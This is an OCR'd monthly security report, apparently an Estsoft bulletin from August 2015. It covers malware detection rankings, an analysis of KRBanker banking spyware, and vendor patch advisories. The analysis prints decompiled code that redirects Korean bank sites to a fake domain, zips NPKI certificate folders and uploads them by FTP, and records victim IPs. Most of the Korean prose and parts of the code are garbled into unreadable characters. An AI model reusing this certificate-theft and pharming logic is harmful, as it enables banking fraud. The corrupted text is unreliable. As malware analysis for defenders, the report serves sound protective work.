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2 AMF= TOP15
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1 - Misc.Suspicious.NTZ Etc 1660

2 - Misc.HackTool WinActivator Trojan 977

3 = Misc.Keygen Trojan 809

4 t Adware Kraddare.295936 Adware 616

5 NEW Gen:Variant.Adware,Strictor.22139 Adware 353

6 - Trojan.NSIS.Androm.5 Trojan 339

7 12 Adware.Searchsuite Adware 312

8 13 Hostwww.daum.net Host 306

9 NEW Misc.Agent. 126672 Trojan 305

10 NEW Hosts,www.gmarket.net Host 301

11 NEW Hosts.www.nate.com Host 30

12 = Hosts.www.naver.com Host 300

13 NEW Trojan.Generic,12187604 Trojan 300

14 n Hosts.zum.com Host 300

15 NEW Adware Kraddare.FT Adware 299

A =E, U0E ASAL] AHEAHIE TSI LHEF =AY 2015 08% 019 ~ 20151 08% 31¥

ESTSOﬂ' %E%QE:‘_/\'I copyright by Estsoft Corp.All rights reserved.



Part1.822[ AYIE SA|

odIC RYAYHIE

QYT E RYE HIZ0IM EZ0IE0KTrojan) R&0| 7F B2 37%E R0 7|EHEL) &0 22%=2 1 FIE 0IUCt.

E=20|50}(Trojan)
ATO|R0] (Spyware)
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7|E} (Etc)

U5 0{ (Backdoor)
HIO[{A (Virus)
8101247 (Hijacker)
SAEMA (Host)

22% <
i 21%

of=¢lof

7t 2] T H|E HE H|w
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o HelRKXe| EAXYIE WAllol=
Oy qIdIE =4 UM

1

1.70L

ofid AITEE ALEAS] QB W FYEE TIZ M= 7|1E Y I ER} VIS 2= B C2X]| fict O M%X =
YEERK2 EHAT|0 XHile| 2 AOIES MFIL UCH= HE AE5IH EHATIC AOIE 4 228 AETET} IO
AEEL= AOIER HFYZ|7| 510 AFEAPE EAZ7 |2t 2| o= ZHASHA| It AOIEZ 0|5 4= UESF #’éﬁ% Sl QUCt OfH

EAEIMUM= AGFETH O 3t YA = AEALS| & BeteX(o| EAMTIE +~"Yok=X| L0t U Xt SiTt,

ﬂJIO

Oll

pd ou—lfl_ _E_Jsll

—-obIQ! (360DiagnoseScan.exe)

A
Detection Name File Name MD5 Size(Byte)
Trojan.Generic.AD.07028465 360DiagnoseScan.exe B2EEAG1A016CCD7001AD4B376905F282 848,032

360DiagnoseScan.exe OIS MOl EEHEM SEf A,

Z2 CE[E2|0]| 4.exel} 5.exeE EE5IL A7 £ ZESH= & EEHEMNS| Fets st
PN dexe
é’erw?E" lei Met king Tech
\ enZhen Xunlei Metworkin echn,,
360DiagnoseScan, exe erZnan 4dn e b

I 360204 wims e -
r N e

Teiesol

[3& 1] 360DiagnoseScan.exe S&t Al 44 == Mg 2|AE 318
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H
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0=
X
L}
|H

ZHA A

HIQ! EETHE= 4.exe, 5.exe IIUS HHP| LI HEHIX| DIUH=

loc_4818B5:
push 8088888685h
push (]

push offset write_buffer_of_4 exe ; 4Y.exel] £ HE

push 8008000840

push [{]
mou eax, [ebp+filepath_4 exe] | 4.exe IIZ A=Z
test eax, eax
jnz short loc_4618D4
ag mov eax, offset unk_488268

loc_4B18D4:
push eax
an push 2
ag mov ebx, 26Ch
88 call drop_file ; T} MM

(23 2] YEE s HH H2E $T5Hs TE &1

MM Fl 4 exe?t 5.exelf2U2 MO EETHO|| 2o T2 A S MAM5HY

push 800800040

push i}

push offset alh exe 8 ; “L.exe”
push 80008083610

push i}

push 4

push 5

mov ebx, 18h

mov eax, offset loc_4B63E8
call create_process ; TZ )4 HA
add esp, 46h

push 80008083610

push i}

push 7D Bh

push 1

mov ebx, 67Ch

call sub_484928

add esp, 16h

call sub_482837

mov ebx, 9

call sub_4817ES
push 800080804h

push i}

push offset a5 _exe_ 8 ; “5.exe”
push 800080836810

push i}

push 4

push 5

mov ebx, 18h

mov eax, offset loc_4B63E8

call create_process ; TZ )4 HA

(O3 3] YYE TYSS Y57 S Z2MA Y T= S
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—k Nt (4.exe)
meys
Detection Name File Name MD5 Size(Byte)
Spyware PWS.KRBanker,R hexe 84895417F15081F4810B27C4E0C2628 632,480
hexe IUO| 7@ $9l= S AO|E0] TL310] THY AOIES| FAZ A B EUQIS 5K, ABXIS| & H2IRX{o)
SARI01 S 28 SHOIXPYI %S F2 4T B It OISR HXSIT HE S AIAYS| 2ANN|, H2LK| HE S8 53
MHE F&6t= Z0|Ct
o ARIE F4 +F
0| SEEIH £ AO|E0| F&6H0] MU AOIEZE AL 3 TH|0ls +FSiC,
& AOIE
http://user.qzone.qq.com/* - sxxx
i

3 ruvhankisa com [hin://31 31815004 ozens aa.coml - Micresolt Intemet Explarmr

2N EARTMA =D SEWW

DD EIEY
noa [EEREE

22 ssict

(12 4) 8 B2QK A0 3 & TUS uQl 3 88
OS M M3 X & E2teX E737| 3= B
FEAI2| OSHIT YEE 22 2, 0S BT M2t yEALX(FE 3F, MS 12| E7437| 3

et 0S Version ESk= SHET| R
) C\Documents and Settings\(AFZXHH|E)\LocalSettings\Application Data\Google\
Window XF
Chrome\User Data\Default\Bookmarks
Google Chrome

Windows 7 _
. C\Users\(A2XHAE)\AppData\Local\GoogleChrome\User Data\Default\Bookmarks

Windows 8
Window XP C\Documents and Settings\(AEXFHE)\Favorites

Microsoft Internet
“xplor Windows 7 . - .
Explorer ) C\Users\(Ar2XHAH|E)\Favorites
Windows 8
ISR TIA]

ESTsoft 27t=



Part2 822 AYAE Ol

H BatRX EH| FA HE

ArEXAIS| El ERtRX EART| F2 M0 A= EH, SA4ZY] I M & URLHA SSA0|1E 248

OJE0i =& 8 It URLE HZE AZICY

mjo

HIE $ YX| Bt B

LOBYTE{u288) = 8;

bank_text = v288;

if w282 ¢ 8x18 )
bank_text = &u288;

{

LOBYTE{v288) = 9;

u26 = m_strcat_key{"/kbstar",

string_alloc{(int)&u286, "kbstar", 6u);

if { match_string(&url, {int)bank_text, v281) > 8 )}/ =¥ 0| 2|AE% uwrl H|lD

{(int)&u285, u25);

v25 = make_fake_address{({int)&fFake, (int)&v283, "http://");// http://[2IF FA/[SHE] 22 TS st FLE THECH

(28 5] A3 URLE HEA7|= 3E 81H

HMUO| ALEX} B2t X E7437| UM HMstE S8 H AMOIE EXIE EF7

ESTSOﬂ' %Z.!%%‘EF_M copyright by Estsoft Corp.All rights reserved.

SBHANIE 0S Version 4 URL B2 URL
a2 kbstar http://www kbstar.com http://myybanking.com/kbstar
|2 wooribank http://www.wooribank.com http://myybanking.com/wooribank
Alskesy shinhan http://www.shinhan.com http://myybanking.com/shinhan
7123 ibk http://wwwi.ibk.co.kr http://myybanking.com/ibk
S8 nonghyup http://www.nonghyup.com http://myybanking.com/nonghyup
Fr2d busanbank http://www.busanbank.cokr http://myybanking.com/busanbank
S22 hanabank http://www.hanabank.com http://myybanking.com/hanabank
HE 2 jobank http://www.jbbank.co.kr http://myybanking.com/jbbank
Qa2 keb http://www.keb.cokr http://myybanking.com/keb
MorEa1 kfcc http://ibs.kfcc.cokr http://myybanking.com/kfcc
Hed standardchartered http://www.standardchartered.co.kr http://myybanking.com/standardchartered
[ eeuzs as [~ | P =)
[ | 8 2A = [musoaa] (R |8 2A o [wma o b
L@ aRzes [@j aRues
URLO: I hittps. e kbitar com/’ | URLLE: | hitpe/rmyybanking com/idostar |
HHE 212 F|K)r oF HEE 2p2) (K &
BofE B TrOE BWoje B EEDE
o8 wE0-
SHA me WX E SHA I
B URL FA
EED R S0 ] [ 6w B I Hx B S| T S8
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Hx EH EE 2
MRIP HetRXo| EAA7| LAUO0| B EUS B, EF MOIE0| BE5HH ALEAL| 4 FEE TS & A F4
S 248 YEE 2 EH S BAM0IE, HeM HE, RAM 2, 2 & ALEAL P ZEE £E5HH,

i
ok
1pn
Eﬁ
B

AFEX ZE HEE TS B MH F4 25 A0|E
http://user.qzone.qq.com/****#sxsx

AR 2 HEE HMASHE M A U SAl
[EISAL0|E]/count/i/addInstall action?params={"systemtype""@FX|H|H" 'projecttype”:"H
FEAMOIE]

"browsertype”:"dl BRI ip" 2= A|A=] |PFEA}

read_qq_: 1nternet2(&qq string); FFHESE ZA2 HED

LOBYTE(uvaS5) =

ubl = 15;

uG3 = 8;

LOBYTE{o0s_version) =

string_alloc{({int)&os version, os_version_string, strlen{os_version_string));

LOBYTE{uvaS) = 4;

u13 = make_fake_address{{int)&qq_string, (int)&u23, "http://");

LOBYTE(uvaS5) =

uls = m_strcat_key{"/count/ifaddInstall.action?params={W systemtypetd 4", (int)&u2?, vi13);
LOBYTE{vAS) = 6;

u15 = m_strcat_value{{int)&os version, (int)&vu3sS, vi4);/f os version

LOBYTE{uvaS) = 7;

vig = m_strcat_key("W",W"projecttypeW":W"", {(int)&usl, visS);
LOBYTE(uvaS5) =

vi7 = m_ strcat ualue((lnt)&hank name, (int)&uid, v16);// TAZ HE
LOBYTE(uvaS) =

vig = m_strcat_key("W",W"hrowsertypeﬁ":ﬂ"", (int)&u26, vi7);
LOBYTE(vAS5) = 18;

v19 = m_strcat _value({int)&browser_type, (int)&u3s, vi18);/7 E2I2H E1Y
LOBYTE(uvaS5) =

u28 = m_strcat_key{"w" W ipW :w, {(int)&us?, vi9);

LOBYTE(uvaS5) = H

v21 = m_strcat_value{{int)&getip_string, (int)&u32, v20);

LOBYTE(vaS5) = 13;

m_strcat_key{"#"}", {(int)HultiByteStr, v21);

t!
rlo
0

il
ou
-

ALEA HE HHE +Hoks 3= 21
WX E S730|2 B4 A IEE 85
HE H SARI2 ASAPH SBA0IE0] T4 Al HOE Q15 S Q75 ABXIS HIHE0IE, FUSSHE, HEE HEE
275101, 38 HEs AE S, 23 HIZHS, ALK} 010|C], ALSX} HIZHS, BQIQISA HIZHS, HOTIS YRS, HOTIE
#15) SO| AHTE HIBKI0|2 Ha it
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T
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il 2

alle

. CHES O A ( SOHME | SHHRSAH A ) - Microsoft Internet Explorer
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—QhMI}RI(5.exe)

e

Detection Name File Name MD5

Spyware.PWS.KRBanker.R 5.exe 0CB3344A4059B5F0B224E766A4060A9F

Size(Byte)

91,808

5.exe IOl £ #Pl= ZAX PCOIM NPKIEQIRISA) HEE 3ot o WIS S-S,

NPKISIISM) ECf B
IFU0| SEIEH ZEXt PCOIM NPKIEQIQISA)ELIE SHAUSHC

EMYSH= NPKI Z2
C\\Users\\Administrator\\AppData\\LocalLow\\NPKI\\
C\\Users\\Administrator\\Desktop\\NPKI\\

DNPKIN

EAWNPKIN

FA\NPKIN

G\\NPKIN

H:AWNPKI\
D:\\Users\\Administrator\\AppData\\LocalLow\\NPKI\\
E:\\Users\\Administrator\\AppData\\LocalLow\\NPKI\\

H:\\Users\\Administrator\\AppData\\LocalLow\\NPKI\\

NPKIESQIISM) 20 &5
AHEXt PCOI| NPKI ECH7F ZXH & B “csj.zip” AT 2 UES ASHH,

zipFile name = (const char =)&File_name;
if ( _access{zipfile nane, 0) ) // csi.zip TR0l SR F=F HESICH

{
csj_zip = (void #)pszPath;
if ( rpszrath )
csj_zip = BFile_name;
hFile = {int)create_npki_zip(csj_zip, 0, CRERTE_ALWAYS):// csj.zip OiY =x
write_npki_subdirectory(&u1id, nFile); 7 WPHI CJME212] MUEE ziplEz 20
if ( chk_handle(hrile) )
sub_WOBEBB(IFile);
else
close_Filehandle{hFile};

H
else £ esj.zip IR0l EWsEE 320 HSEO
{
remotefilename = IpszHewRenoteFile;
if ( tlpszHeuRemoteFile )
repotefilenane = (const CHAR =)&File_name;
localFilename = pszPath;
iF ( tpszPath )
localfilenane = {const CHAR =)&File_name;
u19 = hConnect;
if ( tFtpPutFileA{hConnect, localfilename, remotefilenane, 1u, 8) )// csj.zip HES
i

InternetCloseHandle{hinternet);
InternetCloseHandle{vi?);

A HAZBH Sl CHE 9H 0 #+2F 2800 8 IR YHRT 2T ENN BCL

[ 9] NPKI EEE 2&38H= 3 &1
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FEra T
WO B EFE =AY SF0Q SSVH
(= - an
Q| €| ©|w us -
YW | HEYE | HETS VAR | FREH =23
ECr TR * By a7
= "]
% ’ (_5_’ = ;) E2ECED2CESTD9BCO. 1093 1256 13% 2ot eEM
o i Users
a- i Administrator
# )| Deskicp
it
Fanw 42 x
|
i
0 S HE, 0H0IS 81595, 12X8
— =

(33 10] &% E csj.zip T LIS 38

HEXtIP TS AT AOIE FE

AYIEE AF ABASS 2P| ol "IPHZ AO|E"S Sall “HE & ALSAL IP"E SELL0| METH.

IPH|Z AfO|E= http://www.get-ip.comE O[E5}HH, ALO|EO|M =F B ZHX} IP= logitxt THUOH XFEHCH

[y i

vl = InternetOpenA{NULL, 0, NULL, NULL, 0);
v2 = ut;

if ( tul )

{

InternetCloseHandle{HULL);

w3 = al;

*(_BYTE *)al = (_BYTE)al;
std::basic_string<{char_std::char_traits{char>_std::allocator<{char>>::_Tidy(@};

std::basic_string<char_std::char_traits<{char>_std::allocator<{char>>::assign{NULL, strlen(HULL));
IBEL_28:

ul? = (uoid =)ju22;
goto LABEL_21;

H

vl = InternetOpentrlAdui, “http://uwww.get-ip.me/", HULL, @, Ox4000000u, 0);
if ( us )

{

28 11] IPHZ AOIE0 HZ8h= 2= 31H

HIDMORD(v?) = strlen{“<h2>");

LODMORD{u9) = B;

start = find_text{({int)&buf, (int *)"<h2>", u9);

HIDMORD{u11) = strlen{"</h2>"};

LODMORD{u11) = 8;

end = find_text((int)&buf, (int =)"<{/h2>", vil);

u13 = parse_string{(int)&buf, (int)&v29, start + &, end - start - B);// <h2>%} </h2>AM012) ERME THA

mempset{readBuffer, 8, Bx1Fhu);

InternetReadFile{us, readBuffer, Bx1F4u, &duHumberOfBytesRead);
ufi = B3

u? = dwHumberOfBytesRead

== B;
if { dwHumberOfBytesRead )

28 12] IPHZ AIENA ZHXL PE OHSHs 3E 5t

uf = {int)read_getip_internet(&u122); /4 httpz//www.get-ip.me/22E CI¥E2| 01 Th

LOBYTE(u132) = 9;

std::basic_string<{char_std::char_traits<{char>_std::allocator<{char>>::assign{&v119, v6, 0, dword 4%28248);
LOBYTE(ui32) = 8;

std::basic_string<{char_std::char_traits<{char>_std::allocator<char>>::_Tidy(1);

1:5leep(Bxbéhu);

u? = pszPath;
if ( tpszPath )
v? = {(const char =)&File_name; /F CowProgram FilesWilogi.txt

if ( *Fileopen((int)&u168, u7, 18) )

(33 13] 4 & 2R} IPE logi.txt TIAM MESH=s TS 3HH
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NPKIB2IQISA) B0 A2EE 9I3HFTP &4
S B IS PR 57| HlaH ALK0| 2HS0| £ FTP BCI0| BAS AlTICk

FTP E& He
FTP Servername kiskabickiioisidelad
FTP ServerPort o
Username hongse
Pisswond P

OEofl % ol = AEXt IP7} 7|15 E logitxt LAS S0 "2} IP'Z O EC|HS Hd T PY=EE AT3IC

FtpFindFirstFileA{hConnect, v?, &FindFileData, 1u, @);
t:Sleep{Bx1F4u);
v11 = l1pszSearchFile;
if { tlpszSearchFile )
u11 = {const CHAR =)&File_name;
FtpCreateDirectoryA{v18, vil); /7 logi.txt OIEE S0 “ZEA IPt 2 C¥EL] 44
viiy = y138;

(23] 14] FTPO) ZXL IPE CIMER]S YH5h= I C &8

4 A=

I YT EE FY TSP SIS AT, ALSIS| STHES KHIGH THorsHn QUCk 5t siE M2 7120 oy FET}
AFBRIE! Hosts i, MR, AR 02, MUIAKIAER| S5 S 0[XI0] ALRE WAIS H5| ALRSIK| 940 otz E 2
05 EHH0| Of24 4 UCh

Ojoi| 2tE] BIOIHA HZ0fiM= S | fX|AE2| Z2ET OHLE HITETHALE & 5= U 02| RESS & O XM
HHsh= 71sS01 28 g A= 20,
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8= H2t O+

2fof0] &2 TOP Ol

- tFSTX-LGTXE, Ol & Xt AT E AYTE ZH HOHHX| i
TR LGERIZE MMS =421 2 & OFd T ETt ZIHE 4= Q= Stagefright F2fE HIMHXIE R 4 S22 AR E IUH0j|= HiZSI7|
AIZ[SRICE OFE| HOHEX|Zt HHIET| OFEl DRSS ADEZUM S22 MMS AS4-Ll0ll H2S SHABHH EICt

- 72, 38 98FE ‘NP API' X[ STh--QIE{SIA| 4
20| 985 QY Hal2X FF0M HAH 0T Z22{TI21(NP) API MHIAS STEICY NP API X2 SHRZ ZHO|L} QIHAUE 0| AH8SH=
2001 222 O 018 IF0IM RS =0 0] T2l 2IEW 485, 8T, X8 S| HEH EfH0] =71 HYoICh

- "IE 10E{T O3, HOt0|| F|2F. 241 YE2RX] ALSSIMIR"
ot A7 QIEI 7 [RISO| QB YABRR(E)10 B Ofot ALBRIST} 7IRIS IO R 'S & S2I9K A S70 LACE 0] AHQI0K=
DRI TEIR0t KISAS B2 L0lH, L7171, F:2T210, HOIASTRI0L S 127 2LHS| QIE7 (10| &OfsH: AHRIOR, 718 HiHe A
SRS AR5t Hit 0]A0] Y QIE OI8AISC] 0|83 NS SHOR 5k UCt

HTC 20 U B Al HE QF SIS B017] 2I5101, PC L OIS MEILR| B2 SOIOSAE QI OFEOICE A QIS 8HE SOIRISAE

FIE ICE 22 4 Ql= 7S E2 THLE0]| Qon, HTFIE, A2IIE, ANIE QTP 2QI0ISME Tiof HorMu} MojA2 Sirat dixlo|C)

- 9B WY LS EEY AR, 2 ITHHS =43t
JHOIYE B35 3 YEFEH Tl e}, YRS 2 DA 2 AIX) 23t 52 W8S 1 U= 1 EE M FEH0| 98 12¢ Al oot
0l0fl j2t SHHUE SHOE FEAIS2 AHISQ| BRI = DA HEl mfot U 2a|H[AH ZstS I3 A0l LIAICH S35 Wiksh TAIARS
2oL U= 2 S2 Lidfish U= DAFEE (0] HRIE 716t U= 20T

- "ADEEN HUXLS FolStIR". HIHE w#d| 23t
USSLARS|= 62 'ADEE A IHQIEEE S J10|=21Q1 S WHIHCE 0] 7H0|=2fRlof mf2} 2t o TSHS 510§ 2o} 0[8X}2] F2| §l0|
T IEE SO2RH HRIEEE sHots 22 HESUYY AU 2 2 iE2| 3%0[512] 2HEF, 54 0[612] F Ei= 520 0[5}
a0l XMoiE 4= QUL

- 71 EMQTME FEAP| R LE HELIY Fol
T SUSH2 YHS Mt RTES 0183l TS 712 M= L5 2HEILY (Letter-phishing) 24{0| STRCIL BRCEL S8AV = X
71 EMQTAE SHH SSAZ (0| AFE AMUS ZARHD SIEHAM SIS ZE5HH, 71t 2A27M0E QEIMIZE AOIE d& Z2AL
FALHOIN HESH, SHXSMIES| F20| SRls] HREERE0 QIEH W2 S FAIR0| UM SAE 27BICH= LIZO| BAHUCE. T,

PUES ST EAQ7M SS U2 B WS At WEQ|, LTSS 2101 S0 21E5| 2|8 7[S0{0F BHCt.

0=

it}

- EHIEIX QB KT 4THE 3% T X
HEE 2 2= K8 24X 22l EHE 5612 A|EE BEA| RSP | 6 2| 712+ SXH 471 010|A 35 0|UZ HH7 |2 Lt
IS KEAS EohSt cHe| AOIES AICtSHE Hl 4712 0142 AlZH| 2 Foll SHE Tt M&[20l| St H22AIS 2lolsts S B
HXAHE AR 220 ZCE 0/0] R E 2 HRIE 2t45t 6l M2|7 |2k 35 0|U2 SA617 |2 #iCt,

ESTSOﬂ' %ﬂ%@E:‘_X‘I copyright by Estsoft Corp.All rights reserved,



Part3. 22t 0|7 E&7|

80| F/oFH
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Microsoft 8& H7| I H|0|E

- Internet Explorer 5% HOt IH|0|E(3082442)
0| HOF H|0|E= Internet Explorer2| F{2FES SHARILICE O] SUIM 713 H2teh FoFE2 AHEA L Internet ExplorerE AHE510 S MIZE
HHOXIE 28 E% ¥ TE HUS 5188 = UBLICE 0] FoF 220 H3 5t SHRh= 2Tl ALSXIRE SYUTH AHEHS HE £ USLICH AIA-0|
CHEH AFSA} S0 | 2| A8 AEe| D22 ek} HEC 2 2esh= 12H0) HisH &S XA WLt

- Microsoft 12 4 Q49| F|oFMO 2 0I5 2174 FE AldH 2X|(3078662)
0] EoF H|0]E= Microsoft Windows, Microsoft NET Framework, Microsoft Office, Microsoft Lync 2 Microsoft Silverlight®] Fofdg
SHATILICE O UM 712 AZI5H P ALAP | S HIRLE BME E7HLE Z&HE EZEEIR = OpenType 220| U= MEE Q=2

HOIXIE WERsHs 22 812 A= AYS 518 4 UL

- Microsoft Office@| UM =2 QISH 2124 FE A3l FH|(3080790)
O] E2F HLl|0|E= Microsoft Office] F2fS SHATILICE 0| S0 7+ 22ttt FFE2 AFEAP S HIEE Microsoft Office IAUS & AL
A FC HHS 518 4= UASLICE 0[243H FoFd U0 438 SHXE= S ALSAI| ZIHAE0M 22| TES MFHTH 4 USLICE AJAHO]
LSt AREA} 20| MA| e AlEe] N2 et MBI 2 Zifh= 12iofl H|sH Fers A BELIC

- RDP2| FoHdo = QIS ¢Z T & A3 2H|(3080348)
0] =2t YH|0|E= Microsoft Windows2| F2f4E SHZABILICY 0] SOIM 71 AT FFE2 SHRt E4 MAE DLLEH S 210|2242)
IS Ol ALSXI2| BIXH 2] TR0 TX] 22 TFS ALZXI0A A2[E 4= U= DLL IYS 2ESH= Okl AKX 4 MIAHE DLL IYS
ZCIIES ORRIE T2 732 M35 RDP(HZ HiA3E D2 EE) NS A-E RTshs A9 #2 IE M2 5188 4 UsU. 0f
Fopd A8 d&5t SAR= YL = AIAEE 25| MO 5 USLICL 01ZA| =3 SAXP Z208E dXI6PAHL, H0[EE EAHL
HBSIAL AMAGHALE, 2E ARSAF HEH0| U= M AIEE THE + AUSUCL

- Mt HA|IX| 222| FtMO 2 QIS 217 T A3 2X|(3073921)
0| &0+ 2IH0|EE Microsoft Windows®| H{2HSE SHZIBILICE BHKPHSMB Al O 22| S4 AAIE SAIS 24 Z2 0] Fopo= i
#7) S H90| 518E 4 UL

- XML Core Services2| |40 = 0I5t HE 25 2X|(3080129)
0| HoF HH|0|E= Microsoft Windows ¥ Microsoft Office?| #2fS SHARILICE 0 FFES AP S+ HEfE 235 S2iok= 4% HZ2e
FAE 6L SSL(Secure Sockets Layer) 2.0 AFE 2 HAHLE SIEFC2M HE RE2 5188 4 USLICE SHX|2H OIS A0|=
BAR= ZHIZ AR S HiZE g3E S=6IeS U+ iU 33X Yo 2 A HY F= QIAEE HAX HIAX|0]A
F2USE 0|85 AHBAPt 0] 23 E S25I=S FoH0F SLCE

- Mount Manager2| |2fA0 2 0I5t M3t A5 2H|(3082487)
0] 22! H|0|E= Microsoft Windows2| F2fA2 sHZAEHLICH SZX7| CHAF A[AEI0| 2} USB ZHXIE 4 lst= AR 0| F4H 2 QlsH RTH
50| 5188 4 AUFLICH I3 OHS SZX= o4 HI0|U2|E ClAZ0f| A0 ASHEE 4~ QIELICE
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— System Center Operations Manager2| |20 2 Q15 Hst 45 2H|(3075158)
0| 22t AH|0|E= Microsoft System Center Operations Manager2| F|2f4S sHAELICE 0| FFMHO 2 Qs AFEXPH S 4= HAHE URLE Saf
FEs e EAIES UEY FR HE 4580|5182 4= UASULCEL SAXN= ZHIZ ALK} 01215 &l AO|EE YRS TS 4= YiELICh
il S2AX= AR EXL HY HIAIK] = QAHE WL HIAXIS] 238 SE610 FEE We 8 AMO|ES YE5I=E RX5k= 20|
U EERILICE

UDDI AMH|A2] F|of 4o 2 Q15 HTH S EHI(3082459)

0| 129t IE0|E4= Microsoft Windows®] #QHAE SZBILICk S24K7} 2 HOIX| 2444 0l -0l O AIZES 4elsl0] XSS(@AF ALO|E
AZRE) AILIRIOE AXILIORIE Z2 0] FAO 2 Qlsf 2B AS0| B2 2+ USLIC 242 OpH ATET} AsHEl= S5 HITE
HOIXIO AHSXP7H 25 ELICk

QIHISHK| 42 HHE Di7H 4~ HYR QIS HE {5 £X|(3082458)

0| £2F JC)|0|E= Microsoft Windows, Internet Explorer 2 Microsoft Office@| ME RF F2MS sHZEILICE 0] F2UMS 2Es17| Hiok
S4Xt= MA Internet Explorer] CHE FFMS A2610] MEEIA T2 AMANA TS AlSH6H0F BHLICH 721 T2 2ZKk= QITGHK| &2
HHE 7K Hr2 H2FE, Visio, PowerPoint, Excel = WordE 23510 HE 20| oL & 5= USLICE 0] FAFHS2RE] HS517| sl
D72 0] BX|0f|M MBS = YOI0|EET OtL2E MS15-0790IA MIBEl= Internet ExplorerE H|0|E = HE5H0F ELICH OHEIZIX|Z, Hafit=
Microsoft Office M & H&ish= 124 MS15-0810I|M HB&l= A 7FsS YHI0|Ex AX[SHOF EHLIC

- WebDAV2| MO 2 QI5H MK RE EXI(3076949)
0| £2t 0| E= Microsoft Windows2| F(2f& S SHAEILICE SZXI7t SSL 2.00| AFEl= WebDAV MO 25 5Hel SSL(Secure Socket
Layer) 2.0 MIME ZHIZ XS5 HIAX| 7122H7 [(man-in-the-middle) S22 AF25H0 Y& 51e E2fTio| UHE U5 siS6= HR 0]
Ffdo 2 2l . R&0| 5188 5= st

- Microsoft Windows2| £ 0 2 Q15 M5t A 2X|(3060716)
0] =2t HH|0|E= Microsoft Windows2| F2f42 SHERILICEL SHAP | GEd= A|AB| 2028 £ S HI2E 38 ZEO3E s
ALSXOf|A| £2F5t MEHIA S8 T2 732 SE6H= B4 HIEE IS GrE R AR 0| FAHO R Qlo et M50| 5128 £ U1, 0|2

Qe SHX = HEUAS 0| AH|0| IS o~ USLICE

- Microsoft Edge® % 22t YHI0|E(3084525)
0] 22t YHI0IE= Microsoft Edge2| F2fdS SHARILICE 0] SOA 71 &2t FHFE2 ALSAIZH Microsoft EdgeE AHESHH S+ MIEtE #
HOIXIS & 29 #2 ZE UWS 5188 + AUASU. 0] 7S ofE0| 932 SARI= 2 ALEXIe} SUT HEHS S 4 ASUCE AL
CHSH ALSXE HSH0| ZA| e APl 1242 Haixt HSte 2 X ish= 120) HisH F&S XA LUt

- NET Framework?| ¥|2fA0 2 OISt H5t A& 2X|(3086251)
0| £t AH|0|E= Microsoft NET Framework2| £{2fES SHARILICE ALSAP I S5 MIZE NET 88 D2MS A3l A2 0] Ffdo2 ls
5t A50| 518 E 4= USLICE SEXIPE OISt A0 = SHR= LHIZE AFEAPL 0] S8 E2OMS MlsirE Uts 4= SIELICE 34X=
AEAP} 02| SH=E RaHOF BHLC

- ohEd
Windows UpdateE &5tHLt Microsoft 2t SX| 22f AO|E0fIM SHE FfHS2| JHEEQ! x| DS CIREE ¥E + s,

$h= : http://technet.microsoft.com/ko—kr/library/security/ms15-Aug
HE © https://technet.microsoft.com/en-us/library/security/ms15-Aug
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BIND DNS £1#5{2fH HOIAGI0|E #H 1T
DNS AJH|A0] Z2 OIZE|i= BIND DNSOI ZXE 57 IS IS Hoii7} Wishs Horso| w2ig

- &MEE
F|2FE2 01=2510] DNS AH|A O] 4 7Hs(CVE-2015-5477)
- oiiEH
BIND 99.7-P1 & 0|F2] 9.x R 99.7-P22 &12{0|=
BIND 910.2-P2 2! 0|%2] 910.x H{FE 910.2-P32 ¢a30|1=

-ZIARE
http://wwwi.isc.org/downloads/

Of2figt= YT E A3l FotH 2ot HHI0|E 1

2 S QA T2 T0|A Ao ATA0| 7HSFH Q0| wzig
- *’W“ S0P ZASHAHOIX| YR RF T ¥ AN, WY, HAKC 33 58 Sii S45
}01 0|__|=.'|:§ éMséAolo

%% Hi= HEO| AFSAH= T E 240 ket 4= e T = iAo met 2ot HI0|EE A
- MNAHE
gz HEHE 5 = W
IE24 9.1.0.2667 O|FHF
g2 91.0.2522 O|FIHF
QA 2014
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gt 91.0.2609 O|FHHH
IEQA 8.5.8.1536 O
g2 8.5.8.1474 O|HBH
stHRIA 2007
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gHmA 2007
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FSAEE] SHO[X|0|A 2OHH0|E MAUS E1H CF22E BH0F MRS I WX| 2= HE(EQH31)C 2 YH0|E
- 22 E A2 | hitp://www.hancom.com/downlLoad.downPU.do?mcd=005

r°|'

HENHFE XS YHOIES Sl LT R YH0|E
AlE— BE BETH — SEIATH — SHENERE Ats Y0IE
- IAIE

http://www.hancom.com/downLoad.downPU.do?mcd=005

Cisco ASR 2t2E| HOt AH|0|E A1
CISCOE MH|A HE(DDOS)FHARS 25 HOt QIEI0|ES WH
0] Z{OFES AIA T BIRE{UA HIEYTE S5l £AI5HIHZI0] FIHA UALE X

!

A I2S HISEEHE XMoo

- M
CISCO= £ Z|ofE2 ASR(Aggregation Services Routers)1000 Series2] 10S XEO|| &2 = MH|A HE(DDoS) FfEHO 2
HorHH0|EE AT

- ol ZY
2= RA2S GHIE SOI0 HX| X 2 FUAOIE FE

- ZTANIE
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-201507 30-asr 1k

WordPress 71 H2t iH|0|E

WordpressOfi Al F2FE % H2ASH 715 B2t XIS S
- SMER
YEZA 42,31 77 O TOIM XSS FFEL} SQL Q1M F2FO0| LA|0] 2Ll JH0|ES B

- sz
424 HEICE H0|E
- Dashboard(& &™) - Updates(ZHI0|E) ) Update Now(XIZ HI0|E) 2

- ZTANIE
https://wordpress.org/news/2015/08/wordpress—4-2-4-security-and-maintenance-release/
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Firefox HQF HH[0|E H11
Firefox2} Firefox ESRO]| LHEH= PDF E{O|A] AlZksH F|0FE0] 74
F|oFHE 0|26 WwahAH AE o MAE mS QML CHIREE IS £ US

- SHEE

e L= HE H Y

HEZ Fg = Lk

Firefox 39.0.2 O]HHH 39.0.3
Firefox ESR(Extended Support Release) 38.1.0 0|HHT 3811
- siEd

FirefoxS 35101 HiHES S2i6t, E2Y 32 $ “Firefox HE e
Firefox 2! 20| 2/2 AFECR H0|ES S0I5HT AE CHeRC
CHRE 7t HRE|T AX| ZHIZH AZEI “Firefoxd K12 LAl AR HES 22

xelet 22 YH2 2 YHOIEZF AREX] AL = EIX| S=0HE 2| FirefoxE CH2RI0f XHEX] L

-&IAE

https://www.us-cert.gov/ncas/current-activity/2015/08/06/Mozilla-Releases-Security-Updates—Firefox-and-Firefox-ESR

Adobe Flash Player 411 F|2Fd HOt HH|0|E H 11
Adobeiit= Flash Player0f| A ' dlish= FOFHS SiZsH 20t AHI0|EE LR
S22 T ARSAE YT E ZE0| Ffe 4~ AL D= SO a2t A IBTHO = HH0|E A

- MR

Adobe Flash Player2| 357H Z2&0f] Ci$t 2Ot HE|0|ES WH

